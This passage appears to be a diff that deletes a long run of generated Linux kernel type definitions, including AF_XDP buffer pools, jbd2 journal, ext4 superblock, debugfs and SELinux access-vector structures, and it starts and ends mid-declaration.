sk_buff *, int); -}; - -struct net_offload { - struct offload_callbacks callbacks; - unsigned int flags; -}; - -struct frag_hdr { - __u8 nexthdr; - __u8 reserved; - __be16 frag_off; - __be32 identification; -}; - -typedef struct sock * (*udp_lookup_t)(const struct sk_buff *, __be16, __be16); - -struct napi_gro_cb { - void *frag0; - unsigned int frag0_len; - int data_offset; - u16 flush; - u16 flush_id; - u16 count; - u16 proto; - long unsigned int age; - union { - struct { - u16 gro_remcsum_start; - u8 same_flow: 1; - u8 encap_mark: 1; - u8 csum_valid: 1; - u8 csum_cnt: 3; - u8 free: 2; - u8 is_ipv6: 1; - u8 is_fou: 1; - u8 is_atomic: 1; - u8 recursion_counter: 4; - u8 is_flist: 1; - }; - struct { - u16 gro_remcsum_start; - u8 same_flow: 1; - u8 encap_mark: 1; - u8 csum_valid: 1; - u8 csum_cnt: 3; - u8 free: 2; - u8 is_ipv6: 1; - u8 is_fou: 1; - u8 is_atomic: 1; - u8 recursion_counter: 4; - u8 is_flist: 1; - } zeroed; - }; - __wsum csum; - struct sk_buff *last; -}; - -typedef unsigned int xa_mark_t; - -enum xa_lock_type { - XA_LOCK_IRQ = 1, - XA_LOCK_BH = 2, -}; - -struct ida { - struct xarray xa; -}; - -struct xdp_umem; - -struct xsk_queue; - -struct xdp_buff_xsk; - -struct xdp_desc; - -struct xsk_buff_pool { - struct device *dev; - struct net_device *netdev; - struct list_head xsk_tx_list; - spinlock_t xsk_tx_list_lock; - refcount_t users; - struct xdp_umem *umem; - struct work_struct work; - struct list_head free_list; - u32 heads_cnt; - u16 queue_id; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct xsk_queue *fq; - struct xsk_queue *cq; - dma_addr_t *dma_pages; - struct xdp_buff_xsk *heads; - struct xdp_desc *tx_descs; - u64 chunk_mask; - u64 addrs_cnt; - u32 free_list_cnt; - u32 dma_pages_cnt; - u32 free_heads_cnt; - u32 headroom; - u32 chunk_size; - u32 chunk_shift; - u32 frame_len; - u8 cached_need_wakeup; - bool uses_need_wakeup; - bool dma_need_sync; - bool unaligned; - void *addrs; - spinlock_t cq_lock; - struct xdp_buff_xsk *free_heads[0]; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct xdp_umem_reg { - __u64 addr; - __u64 len; - __u32 chunk_size; - __u32 headroom; - __u32 flags; -}; - -struct xdp_desc { - __u64 addr; - __u32 len; - __u32 options; -}; - -struct xdp_umem { - void *addrs; - u64 size; - u32 headroom; - u32 chunk_size; - u32 chunks; - u32 npgs; - struct user_struct *user; - refcount_t users; - u8 flags; - bool zc; - struct page **pgs; - int id; - struct list_head xsk_dma_list; - struct work_struct work; -}; - -struct xdp_ring; - -struct xsk_queue { - u32 ring_mask; - u32 nentries; - u32 cached_prod; - u32 cached_cons; - struct xdp_ring *ring; - u64 invalid_descs; - u64 queue_empty_descs; -}; - -struct xdp_buff_xsk { - struct xdp_buff xdp; - dma_addr_t dma; - dma_addr_t frame_dma; - struct xsk_buff_pool *pool; - u64 orig_addr; - struct list_head free_list_node; -}; - -struct xdp_ring { - u32 producer; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 pad1; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 consumer; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 pad2; - u32 flags; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 pad3; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef __u32 Elf32_Word; - -struct elf32_note { - Elf32_Word n_namesz; - Elf32_Word n_descsz; - Elf32_Word n_type; -}; - -struct new_utsname { - char sysname[65]; - char nodename[65]; - char release[65]; - char version[65]; - char machine[65]; - char domainname[65]; -}; - -struct uts_namespace { - struct new_utsname name; - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct ns_common ns; -}; - -enum { - PROC_ROOT_INO = 1, - PROC_IPC_INIT_INO = 4026531839, - PROC_UTS_INIT_INO = 4026531838, - PROC_USER_INIT_INO = 4026531837, - PROC_PID_INIT_INO = 4026531836, - PROC_CGROUP_INIT_INO = 4026531835, - PROC_TIME_INIT_INO = 4026531834, -}; - -struct x86_cpu_desc { - u8 x86_family; - u8 x86_vendor; - u8 x86_model; - u8 x86_stepping; - u32 x86_microcode_rev; -}; - -typedef __kernel_rwf_t rwf_t; - -struct splice_desc { - size_t total_len; - unsigned int len; - unsigned int flags; - union { - void *userptr; - struct file *file; - void *data; - } u; - loff_t pos; - loff_t *opos; - size_t num_spliced; - bool need_wakeup; -}; - -struct partial_page { - unsigned int offset; - unsigned int len; - long unsigned int private; -}; - -struct splice_pipe_desc { - struct page **pages; - struct partial_page *partial; - int nr_pages; - unsigned int nr_pages_max; - const struct pipe_buf_operations *ops; - void (*spd_release)(struct splice_pipe_desc *, unsigned int); -}; - -typedef int splice_actor(struct pipe_inode_info *, struct pipe_buffer *, struct splice_desc *); - -typedef int splice_direct_actor(struct pipe_inode_info *, struct splice_desc *); - -struct dax_device; - -struct iomap_page_ops; - -struct iomap { - u64 addr; - loff_t offset; - u64 length; - u16 type; - u16 flags; - struct block_device *bdev; - struct dax_device *dax_dev; - void *inline_data; - void *private; - const struct iomap_page_ops *page_ops; -}; - -struct iomap_page_ops { - int (*page_prepare)(struct inode *, loff_t, unsigned int); - void (*page_done)(struct inode *, loff_t, unsigned int, struct page *); -}; - -struct iomap_ops { - int (*iomap_begin)(struct inode *, loff_t, loff_t, unsigned int, struct iomap *, struct iomap *); - int (*iomap_end)(struct inode *, loff_t, loff_t, ssize_t, unsigned int, struct iomap *); -}; - -struct iomap_iter { - struct inode *inode; - loff_t pos; - u64 len; - s64 processed; - unsigned int flags; - struct iomap iomap; - struct iomap srcmap; - void *private; -}; - -enum kernfs_node_type { - KERNFS_DIR = 1, - KERNFS_FILE = 2, - KERNFS_LINK = 4, -}; - -typedef __u16 __le16; - -struct buffer_head; - -typedef void bh_end_io_t(struct buffer_head *, int); - -struct buffer_head { - long unsigned int b_state; - struct buffer_head *b_this_page; - struct page *b_page; - sector_t b_blocknr; - size_t b_size; - char *b_data; - struct block_device *b_bdev; - bh_end_io_t *b_end_io; - void *b_private; - struct list_head b_assoc_buffers; - struct address_space *b_assoc_map; - atomic_t b_count; - spinlock_t b_uptodate_lock; -}; - -struct fiemap_extent; - -struct fiemap_extent_info { - unsigned int fi_flags; - unsigned int fi_extents_mapped; - unsigned int fi_extents_max; - struct fiemap_extent *fi_extents_start; -}; - -struct disk_stats { - u64 nsecs[4]; - long unsigned int sectors[4]; - long unsigned int ios[4]; - long unsigned int merges[4]; - long unsigned int io_ticks; - local_t in_flight[2]; -}; - -enum stat_group { - STAT_READ = 0, - STAT_WRITE = 1, - STAT_DISCARD = 2, - STAT_FLUSH = 3, - NR_STAT_GROUPS = 4, -}; - -typedef unsigned int tid_t; - -struct transaction_chp_stats_s { - long unsigned int cs_chp_time; - __u32 cs_forced_to_close; - __u32 cs_written; - __u32 cs_dropped; -}; - -struct journal_s; - -typedef struct journal_s journal_t; - -struct journal_head; - -struct transaction_s; - -typedef struct transaction_s transaction_t; - -struct transaction_s { - journal_t *t_journal; - tid_t t_tid; - enum { - T_RUNNING = 0, - T_LOCKED = 1, - T_SWITCH = 2, - T_FLUSH = 3, - T_COMMIT = 4, - T_COMMIT_DFLUSH = 5, - T_COMMIT_JFLUSH = 6, - T_COMMIT_CALLBACK = 7, - T_FINISHED = 8, - } t_state; - long unsigned int t_log_start; - int t_nr_buffers; - struct journal_head *t_reserved_list; - struct journal_head *t_buffers; - struct journal_head *t_forget; - struct journal_head *t_checkpoint_list; - struct journal_head *t_checkpoint_io_list; - struct journal_head *t_shadow_list; - struct list_head t_inode_list; - spinlock_t t_handle_lock; - long unsigned int t_max_wait; - long unsigned int t_start; - long unsigned int t_requested; - struct transaction_chp_stats_s t_chp_stats; - atomic_t t_updates; - atomic_t t_outstanding_credits; - atomic_t t_outstanding_revokes; - atomic_t t_handle_count; - transaction_t *t_cpnext; - transaction_t *t_cpprev; - long unsigned int t_expires; - ktime_t t_start_time; - unsigned int t_synchronous_commit: 1; - int t_need_data_flush; - struct list_head t_private_list; -}; - -struct jbd2_buffer_trigger_type; - -struct journal_head { - struct buffer_head *b_bh; - spinlock_t b_state_lock; - int b_jcount; - unsigned int b_jlist; - unsigned int b_modified; - char *b_frozen_data; - char *b_committed_data; - transaction_t *b_transaction; - transaction_t *b_next_transaction; - struct journal_head *b_tnext; - struct journal_head *b_tprev; - transaction_t *b_cp_transaction; - struct journal_head *b_cpnext; - struct journal_head *b_cpprev; - struct jbd2_buffer_trigger_type *b_triggers; - struct jbd2_buffer_trigger_type *b_frozen_triggers; -}; - -struct jbd2_buffer_trigger_type { - void (*t_frozen)(struct jbd2_buffer_trigger_type *, struct buffer_head *, void *, size_t); - void (*t_abort)(struct jbd2_buffer_trigger_type *, struct buffer_head *); -}; - -struct transaction_run_stats_s { - long unsigned int rs_wait; - long unsigned int rs_request_delay; - long unsigned int rs_running; - long unsigned int rs_locked; - long unsigned int rs_flushing; - long unsigned int rs_logging; - __u32 rs_handle_count; - __u32 rs_blocks; - __u32 rs_blocks_logged; -}; - -struct transaction_stats_s { - long unsigned int ts_tid; - long unsigned int ts_requested; - struct transaction_run_stats_s run; -}; - -enum passtype { - PASS_SCAN = 0, - PASS_REVOKE = 1, - PASS_REPLAY = 2, -}; - -struct journal_superblock_s; - -typedef struct journal_superblock_s journal_superblock_t; - -struct jbd2_revoke_table_s; - -struct jbd2_inode; - -struct journal_s { - long unsigned int j_flags; - long unsigned int j_atomic_flags; - int j_errno; - struct mutex j_abort_mutex; - struct buffer_head *j_sb_buffer; - journal_superblock_t *j_superblock; - int j_format_version; - rwlock_t j_state_lock; - int j_barrier_count; - struct mutex j_barrier; - transaction_t *j_running_transaction; - transaction_t *j_committing_transaction; - transaction_t *j_checkpoint_transactions; - wait_queue_head_t j_wait_transaction_locked; - wait_queue_head_t j_wait_done_commit; - wait_queue_head_t j_wait_commit; - wait_queue_head_t j_wait_updates; - wait_queue_head_t j_wait_reserved; - wait_queue_head_t j_fc_wait; - struct mutex j_checkpoint_mutex; - struct buffer_head *j_chkpt_bhs[64]; - struct shrinker j_shrinker; - struct percpu_counter j_checkpoint_jh_count; - transaction_t *j_shrink_transaction; - long unsigned int j_head; - long unsigned int j_tail; - long unsigned int j_free; - long unsigned int j_first; - long unsigned int j_last; - long unsigned int j_fc_first; - long unsigned int j_fc_off; - long unsigned int j_fc_last; - struct block_device *j_dev; - int j_blocksize; - long long unsigned int j_blk_offset; - char j_devname[56]; - struct block_device *j_fs_dev; - unsigned int j_total_len; - atomic_t j_reserved_credits; - spinlock_t j_list_lock; - struct inode *j_inode; - tid_t j_tail_sequence; - tid_t j_transaction_sequence; - tid_t j_commit_sequence; - tid_t j_commit_request; - __u8 j_uuid[16]; - struct task_struct *j_task; - int j_max_transaction_buffers; - int j_revoke_records_per_block; - long unsigned int j_commit_interval; - struct timer_list j_commit_timer; - spinlock_t j_revoke_lock; - struct jbd2_revoke_table_s *j_revoke; - struct jbd2_revoke_table_s *j_revoke_table[2]; - struct buffer_head **j_wbuf; - struct buffer_head **j_fc_wbuf; - int j_wbufsize; - int j_fc_wbufsize; - pid_t j_last_sync_writer; - u64 j_average_commit_time; - u32 j_min_batch_time; - u32 j_max_batch_time; - void (*j_commit_callback)(journal_t *, transaction_t *); - int (*j_submit_inode_data_buffers)(struct jbd2_inode *); - int (*j_finish_inode_data_buffers)(struct jbd2_inode *); - spinlock_t j_history_lock; - struct proc_dir_entry *j_proc_entry; - struct transaction_stats_s j_stats; - unsigned int j_failed_commit; - void *j_private; - struct crypto_shash *j_chksum_driver; - __u32 j_csum_seed; - struct lockdep_map j_trans_commit_map; - void (*j_fc_cleanup_callback)(struct journal_s *, int, tid_t); - int (*j_fc_replay_callback)(struct journal_s *, struct buffer_head *, enum passtype, int, tid_t); -}; - -struct journal_header_s { - __be32 h_magic; - __be32 h_blocktype; - __be32 h_sequence; -}; - -typedef struct journal_header_s journal_header_t; - -struct journal_superblock_s { - journal_header_t s_header; - __be32 s_blocksize; - __be32 s_maxlen; - __be32 s_first; - __be32 s_sequence; - __be32 s_start; - __be32 s_errno; - __be32 s_feature_compat; - __be32 s_feature_incompat; - __be32 s_feature_ro_compat; - __u8 s_uuid[16]; - __be32 s_nr_users; - __be32 s_dynsuper; - __be32 s_max_transaction; - __be32 s_max_trans_data; - __u8 s_checksum_type; - __u8 s_padding2[3]; - __be32 s_num_fc_blks; - __u32 s_padding[41]; - __be32 s_checksum; - __u8 s_users[768]; -}; - -struct jbd2_inode { - transaction_t *i_transaction; - transaction_t *i_next_transaction; - struct list_head i_list; - struct inode *i_vfs_inode; - long unsigned int i_flags; - loff_t i_dirty_start; - loff_t i_dirty_end; -}; - -struct bgl_lock { - spinlock_t lock; -}; - -struct blockgroup_lock { - struct bgl_lock locks[128]; -}; - -struct fiemap_extent { - __u64 fe_logical; - __u64 fe_physical; - __u64 fe_length; - __u64 fe_reserved64[2]; - __u32 fe_flags; - __u32 fe_reserved[3]; -}; - -struct fscrypt_dummy_policy {}; - -typedef int ext4_grpblk_t; - -typedef long long unsigned int ext4_fsblk_t; - -typedef __u32 ext4_lblk_t; - -typedef unsigned int ext4_group_t; - -struct ext4_system_blocks { - struct rb_root root; - struct callback_head rcu; -}; - -struct flex_groups { - atomic64_t free_clusters; - atomic_t free_inodes; - atomic_t used_dirs; -}; - -struct ext4_es_stats { - long unsigned int es_stats_shrunk; - struct percpu_counter es_stats_cache_hits; - struct percpu_counter es_stats_cache_misses; - u64 es_stats_scan_time; - u64 es_stats_max_scan_time; - struct percpu_counter es_stats_all_cnt; - struct percpu_counter es_stats_shk_cnt; -}; - -struct ext4_fc_stats { - unsigned int fc_ineligible_reason_count[9]; - long unsigned int fc_num_commits; - long unsigned int fc_ineligible_commits; - long unsigned int fc_failed_commits; - long unsigned int fc_skipped_commits; - long unsigned int fc_numblks; - u64 s_fc_avg_commit_time; -}; - -struct ext4_fc_alloc_region { - ext4_lblk_t lblk; - ext4_fsblk_t pblk; - int ino; - int len; -}; - -struct ext4_fc_replay_state { - int fc_replay_num_tags; - int fc_replay_expected_off; - int fc_current_pass; - int fc_cur_tag; - int fc_crc; - struct ext4_fc_alloc_region *fc_regions; - int fc_regions_size; - int fc_regions_used; - int fc_regions_valid; - int *fc_modified_inodes; - int fc_modified_inodes_used; - int fc_modified_inodes_size; -}; - -struct ext4_super_block { - __le32 s_inodes_count; - __le32 s_blocks_count_lo; - __le32 s_r_blocks_count_lo; - __le32 s_free_blocks_count_lo; - __le32 s_free_inodes_count; - __le32 s_first_data_block; - __le32 s_log_block_size; - __le32 s_log_cluster_size; - __le32 s_blocks_per_group; - __le32 s_clusters_per_group; - __le32 s_inodes_per_group; - __le32 s_mtime; - __le32 s_wtime; - __le16 s_mnt_count; - __le16 s_max_mnt_count; - __le16 s_magic; - __le16 s_state; - __le16 s_errors; - __le16 s_minor_rev_level; - __le32 s_lastcheck; - __le32 s_checkinterval; - __le32 s_creator_os; - __le32 s_rev_level; - __le16 s_def_resuid; - __le16 s_def_resgid; - __le32 s_first_ino; - __le16 s_inode_size; - __le16 s_block_group_nr; - __le32 s_feature_compat; - __le32 s_feature_incompat; - __le32 s_feature_ro_compat; - __u8 s_uuid[16]; - char s_volume_name[16]; - char s_last_mounted[64]; - __le32 s_algorithm_usage_bitmap; - __u8 s_prealloc_blocks; - __u8 s_prealloc_dir_blocks; - __le16 s_reserved_gdt_blocks; - __u8 s_journal_uuid[16]; - __le32 s_journal_inum; - __le32 s_journal_dev; - __le32 s_last_orphan; - __le32 s_hash_seed[4]; - __u8 s_def_hash_version; - __u8 s_jnl_backup_type; - __le16 s_desc_size; - __le32 s_default_mount_opts; - __le32 s_first_meta_bg; - __le32 s_mkfs_time; - __le32 s_jnl_blocks[17]; - __le32 s_blocks_count_hi; - __le32 s_r_blocks_count_hi; - __le32 s_free_blocks_count_hi; - __le16 s_min_extra_isize; - __le16 s_want_extra_isize; - __le32 s_flags; - __le16 s_raid_stride; - __le16 s_mmp_update_interval; - __le64 s_mmp_block; - __le32 s_raid_stripe_width; - __u8 s_log_groups_per_flex; - __u8 s_checksum_type; - __u8 s_encryption_level; - __u8 s_reserved_pad; - __le64 s_kbytes_written; - __le32 s_snapshot_inum; - __le32 s_snapshot_id; - __le64 s_snapshot_r_blocks_count; - __le32 s_snapshot_list; - __le32 s_error_count; - __le32 s_first_error_time; - __le32 s_first_error_ino; - __le64 s_first_error_block; - __u8 s_first_error_func[32]; - __le32 s_first_error_line; - __le32 s_last_error_time; - __le32 s_last_error_ino; - __le32 s_last_error_line; - __le64 s_last_error_block; - __u8 s_last_error_func[32]; - __u8 s_mount_opts[64]; - __le32 s_usr_quota_inum; - __le32 s_grp_quota_inum; - __le32 s_overhead_clusters; - __le32 s_backup_bgs[2]; - __u8 s_encrypt_algos[4]; - __u8 s_encrypt_pw_salt[16]; - __le32 s_lpf_ino; - __le32 s_prj_quota_inum; - __le32 s_checksum_seed; - __u8 s_wtime_hi; - __u8 s_mtime_hi; - __u8 s_mkfs_time_hi; - __u8 s_lastcheck_hi; - __u8 s_first_error_time_hi; - __u8 s_last_error_time_hi; - __u8 s_first_error_errcode; - __u8 s_last_error_errcode; - __le16 s_encoding; - __le16 s_encoding_flags; - __le32 s_orphan_file_inum; - __le32 s_reserved[94]; - __le32 s_checksum; -}; - -struct ext4_journal_trigger { - struct jbd2_buffer_trigger_type tr_triggers; - struct super_block *sb; -}; - -struct ext4_orphan_block { - atomic_t ob_free_entries; - struct buffer_head *ob_bh; -}; - -struct ext4_orphan_info { - int of_blocks; - __u32 of_csum_seed; - struct ext4_orphan_block *of_binfo; -}; - -struct mb_cache; - -struct ext4_group_info; - -struct ext4_locality_group; - -struct ext4_li_request; - -struct ext4_sb_info { - long unsigned int s_desc_size; - long unsigned int s_inodes_per_block; - long unsigned int s_blocks_per_group; - long unsigned int s_clusters_per_group; - long unsigned int s_inodes_per_group; - long unsigned int s_itb_per_group; - long unsigned int s_gdb_count; - long unsigned int s_desc_per_block; - ext4_group_t s_groups_count; - ext4_group_t s_blockfile_groups; - long unsigned int s_overhead; - unsigned int s_cluster_ratio; - unsigned int s_cluster_bits; - loff_t s_bitmap_maxbytes; - struct buffer_head *s_sbh; - struct ext4_super_block *s_es; - struct buffer_head **s_group_desc; - unsigned int s_mount_opt; - unsigned int s_mount_opt2; - long unsigned int s_mount_flags; - unsigned int s_def_mount_opt; - ext4_fsblk_t s_sb_block; - atomic64_t s_resv_clusters; - kuid_t s_resuid; - kgid_t s_resgid; - short unsigned int s_mount_state; - short unsigned int s_pad; - int s_addr_per_block_bits; - int s_desc_per_block_bits; - int s_inode_size; - int s_first_ino; - unsigned int s_inode_readahead_blks; - unsigned int s_inode_goal; - u32 s_hash_seed[4]; - int s_def_hash_version; - int s_hash_unsigned; - struct percpu_counter s_freeclusters_counter; - struct percpu_counter s_freeinodes_counter; - struct percpu_counter s_dirs_counter; - struct percpu_counter s_dirtyclusters_counter; - struct percpu_counter s_sra_exceeded_retry_limit; - struct blockgroup_lock *s_blockgroup_lock; - struct proc_dir_entry *s_proc; - struct kobject s_kobj; - struct completion s_kobj_unregister; - struct super_block *s_sb; - struct buffer_head *s_mmp_bh; - struct journal_s *s_journal; - long unsigned int s_ext4_flags; - struct mutex s_orphan_lock; - struct list_head s_orphan; - struct ext4_orphan_info s_orphan_info; - long unsigned int s_commit_interval; - u32 s_max_batch_time; - u32 s_min_batch_time; - struct block_device *s_journal_bdev; - unsigned int s_want_extra_isize; - struct ext4_system_blocks *s_system_blks; - struct ext4_group_info ***s_group_info; - struct inode *s_buddy_cache; - spinlock_t s_md_lock; - short unsigned int *s_mb_offsets; - unsigned int *s_mb_maxs; - unsigned int s_group_info_size; - unsigned int s_mb_free_pending; - struct list_head s_freed_data_list; - struct list_head s_discard_list; - struct work_struct s_discard_work; - atomic_t s_retry_alloc_pending; - struct list_head *s_mb_avg_fragment_size; - rwlock_t *s_mb_avg_fragment_size_locks; - struct list_head *s_mb_largest_free_orders; - rwlock_t *s_mb_largest_free_orders_locks; - long unsigned int s_stripe; - unsigned int s_mb_max_linear_groups; - unsigned int s_mb_stream_request; - unsigned int s_mb_max_to_scan; - unsigned int s_mb_min_to_scan; - unsigned int s_mb_stats; - unsigned int s_mb_order2_reqs; - unsigned int s_mb_group_prealloc; - unsigned int s_mb_max_inode_prealloc; - unsigned int s_max_dir_size_kb; - long unsigned int s_mb_last_group; - long unsigned int s_mb_last_start; - unsigned int s_mb_prefetch; - unsigned int s_mb_prefetch_limit; - atomic_t s_bal_reqs; - atomic_t s_bal_success; - atomic_t s_bal_allocated; - atomic_t s_bal_ex_scanned; - atomic_t s_bal_groups_scanned; - atomic_t s_bal_goals; - atomic_t s_bal_breaks; - atomic_t s_bal_2orders; - atomic_t s_bal_cr0_bad_suggestions; - atomic_t s_bal_cr1_bad_suggestions; - atomic64_t s_bal_cX_groups_considered[4]; - atomic64_t s_bal_cX_hits[4]; - atomic64_t s_bal_cX_failed[4]; - atomic_t s_mb_buddies_generated; - atomic64_t s_mb_generation_time; - atomic_t s_mb_lost_chunks; - atomic_t s_mb_preallocated; - atomic_t s_mb_discarded; - atomic_t s_lock_busy; - struct ext4_locality_group *s_locality_groups; - long unsigned int s_sectors_written_start; - u64 s_kbytes_written; - unsigned int s_extent_max_zeroout_kb; - unsigned int s_log_groups_per_flex; - struct flex_groups **s_flex_groups; - ext4_group_t s_flex_groups_allocated; - struct workqueue_struct *rsv_conversion_wq; - struct timer_list s_err_report; - struct ext4_li_request *s_li_request; - unsigned int s_li_wait_mult; - struct task_struct *s_mmp_tsk; - long unsigned int s_last_trim_minblks; - struct crypto_shash *s_chksum_driver; - __u32 s_csum_seed; - struct shrinker s_es_shrinker; - struct list_head s_es_list; - long int s_es_nr_inode; - struct ext4_es_stats s_es_stats; - struct mb_cache *s_ea_block_cache; - struct mb_cache *s_ea_inode_cache; - spinlock_t s_es_lock; - struct ext4_journal_trigger s_journal_triggers[1]; - struct ratelimit_state s_err_ratelimit_state; - struct ratelimit_state s_warning_ratelimit_state; - struct ratelimit_state s_msg_ratelimit_state; - atomic_t s_warning_count; - atomic_t s_msg_count; - struct fscrypt_dummy_policy s_dummy_enc_policy; - struct percpu_rw_semaphore s_writepages_rwsem; - struct dax_device *s_daxdev; - u64 s_dax_part_off; - errseq_t s_bdev_wb_err; - spinlock_t s_bdev_wb_lock; - spinlock_t s_error_lock; - int s_add_error_count; - int s_first_error_code; - __u32 s_first_error_line; - __u32 s_first_error_ino; - __u64 s_first_error_block; - const char *s_first_error_func; - time64_t s_first_error_time; - int s_last_error_code; - __u32 s_last_error_line; - __u32 s_last_error_ino; - __u64 s_last_error_block; - const char *s_last_error_func; - time64_t s_last_error_time; - struct work_struct s_error_work; - atomic_t s_fc_subtid; - struct list_head s_fc_q[2]; - struct list_head s_fc_dentry_q[2]; - unsigned int s_fc_bytes; - spinlock_t s_fc_lock; - struct buffer_head *s_fc_bh; - struct ext4_fc_stats s_fc_stats; - tid_t s_fc_ineligible_tid; - struct ext4_fc_replay_state s_fc_replay_state; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct ext4_group_info { - long unsigned int bb_state; - struct rb_root bb_free_root; - ext4_grpblk_t bb_first_free; - ext4_grpblk_t bb_free; - ext4_grpblk_t bb_fragments; - int bb_avg_fragment_size_order; - ext4_grpblk_t bb_largest_free_order; - ext4_group_t bb_group; - struct list_head bb_prealloc_list; - struct rw_semaphore alloc_sem; - struct list_head bb_avg_fragment_size_node; - struct list_head bb_largest_free_order_node; - ext4_grpblk_t bb_counters[0]; -}; - -enum ext4_li_mode { - EXT4_LI_MODE_PREFETCH_BBITMAP = 0, - EXT4_LI_MODE_ITABLE = 1, -}; - -struct ext4_li_request { - struct super_block *lr_super; - enum ext4_li_mode lr_mode; - ext4_group_t lr_first_not_zeroed; - ext4_group_t lr_next_group; - struct list_head lr_request; - long unsigned int lr_next_sched; - long unsigned int lr_timeout; -}; - -enum { - attr_noop = 0, - attr_delayed_allocation_blocks = 1, - attr_session_write_kbytes = 2, - attr_lifetime_write_kbytes = 3, - attr_reserved_clusters = 4, - attr_sra_exceeded_retry_limit = 5, - attr_inode_readahead = 6, - attr_trigger_test_error = 7, - attr_first_error_time = 8, - attr_last_error_time = 9, - attr_feature = 10, - attr_pointer_ui = 11, - attr_pointer_ul = 12, - attr_pointer_u64 = 13, - attr_pointer_u8 = 14, - attr_pointer_string = 15, - attr_pointer_atomic = 16, - attr_journal_task = 17, -}; - -enum { - ptr_explicit = 0, - ptr_ext4_sb_info_offset = 1, - ptr_ext4_super_block_offset = 2, -}; - -struct ext4_attr { - struct attribute attr; - short int attr_id; - short int attr_ptr; - short unsigned int attr_size; - union { - int offset; - void *explicit_ptr; - } u; -}; - -typedef struct { - int val[2]; -} __kernel_fsid_t; - -struct name_snapshot { - struct qstr name; - unsigned char inline_name[32]; -}; - -typedef struct fsnotify_mark_connector *fsnotify_connp_t; - -struct fsnotify_mark_connector { - spinlock_t lock; - short unsigned int type; - short unsigned int flags; - __kernel_fsid_t fsid; - union { - fsnotify_connp_t *obj; - struct fsnotify_mark_connector *destroy_next; - }; - struct hlist_head list; -}; - -struct tree_descr { - const char *name; - const struct file_operations *ops; - int mode; -}; - -typedef struct vfsmount * (*debugfs_automount_t)(struct dentry *, void *); - -enum fsnotify_data_type { - FSNOTIFY_EVENT_NONE = 0, - FSNOTIFY_EVENT_PATH = 1, - FSNOTIFY_EVENT_INODE = 2, - FSNOTIFY_EVENT_DENTRY = 3, - FSNOTIFY_EVENT_ERROR = 4, -}; - -struct match_token { - int token; - const char *pattern; -}; - -enum { - MAX_OPT_ARGS = 3, -}; - -typedef struct { - char *from; - char *to; -} substring_t; - -enum lockdown_reason { - LOCKDOWN_NONE = 0, - LOCKDOWN_MODULE_SIGNATURE = 1, - LOCKDOWN_DEV_MEM = 2, - LOCKDOWN_EFI_TEST = 3, - LOCKDOWN_KEXEC = 4, - LOCKDOWN_HIBERNATION = 5, - LOCKDOWN_PCI_ACCESS = 6, - LOCKDOWN_IOPORT = 7, - LOCKDOWN_MSR = 8, - LOCKDOWN_ACPI_TABLES = 9, - LOCKDOWN_DEVICE_TREE = 10, - LOCKDOWN_PCMCIA_CIS = 11, - LOCKDOWN_TIOCSSERIAL = 12, - LOCKDOWN_MODULE_PARAMETERS = 13, - LOCKDOWN_MMIOTRACE = 14, - LOCKDOWN_DEBUGFS = 15, - LOCKDOWN_XMON_WR = 16, - LOCKDOWN_BPF_WRITE_USER = 17, - LOCKDOWN_DBG_WRITE_KERNEL = 18, - LOCKDOWN_RTAS_ERROR_INJECTION = 19, - LOCKDOWN_INTEGRITY_MAX = 20, - LOCKDOWN_KCORE = 21, - LOCKDOWN_KPROBES = 22, - LOCKDOWN_BPF_READ_KERNEL = 23, - LOCKDOWN_DBG_READ_KERNEL = 24, - LOCKDOWN_PERF = 25, - LOCKDOWN_TRACEFS = 26, - LOCKDOWN_XMON_RW = 27, - LOCKDOWN_XFRM_SECRET = 28, - LOCKDOWN_CONFIDENTIALITY_MAX = 29, -}; - -struct debugfs_fsdata { - const struct file_operations *real_fops; - refcount_t active_users; - struct completion active_users_drained; -}; - -struct debugfs_mount_opts { - kuid_t uid; - kgid_t gid; - umode_t mode; - unsigned int opts; -}; - -enum { - Opt_uid = 0, - Opt_gid = 1, - Opt_mode = 2, - Opt_err = 3, -}; - -struct debugfs_fs_info { - struct debugfs_mount_opts mount_opts; -}; - -struct __una_u32 { - u32 x; -}; - -struct netlbl_lsm_catmap { - u32 startbit; - u64 bitmap[4]; - struct netlbl_lsm_catmap *next; -}; - -enum { - POLICYDB_CAP_NETPEER = 0, - POLICYDB_CAP_OPENPERM = 1, - POLICYDB_CAP_EXTSOCKCLASS = 2, - POLICYDB_CAP_ALWAYSNETWORK = 3, - POLICYDB_CAP_CGROUPSECLABEL = 4, - POLICYDB_CAP_NNP_NOSUID_TRANSITION = 5, - POLICYDB_CAP_GENFS_SECLABEL_SYMLINKS = 6, - POLICYDB_CAP_IOCTL_SKIP_CLOEXEC = 7, - __POLICYDB_CAP_MAX = 8, -}; - -struct policy_file { - char *data; - size_t len; -}; - -struct av_decision { - u32 allowed; - u32 auditallow; - u32 auditdeny; - u32 seqno; - u32 flags; -}; - -struct extended_perms_data { - u32 p[8]; -}; - -struct extended_perms_decision { - u8 used; - u8 driver; - struct extended_perms_data *allowed; - struct extended_perms_data *auditallow; - struct extended_perms_data *dontaudit; -}; - -struct extended_perms { - u16 len; - struct extended_perms_data drivers; -}; - -struct avtab_key { - u16 source_type; - u16 target_type; - u16 target_class; - u16 specified; -}; - -struct avtab_extended_perms { - u8 specified; - u8 driver; - struct extended_perms_data perms; -}; - -struct avtab_datum { - union { - u32 data; - struct avtab_extended_perms *xperms; - } u; -}; - -struct avtab_node { - struct avtab_key key; - struct avtab_datum datum; - struct avtab_node *next; -}; - -struct avtab { - struct avtab_node **htable; - u32 nel; - u32 nslot; - u32 mask; -}; - -struct hashtab_node { - void *key; - void *datum; - struct hashtab_node *next; -}; - -struct hashtab { - struct hashtab_node **htable; - u32 size; - u32 nel; -}; - -struct symtab { - struct hashtab table; - u32 nprim; -}; - -struct type_set; - -struct constraint_expr { - u32 expr_type; - u32 attr; - u32 op; - struct ebitmap names; - struct type_set *type_names; - struct constraint_expr *next; -}; - -struct type_set { - struct ebitmap types; - struct ebitmap negset; - u32 flags; -}; - -struct constraint_node { - u32 permissions; - struct 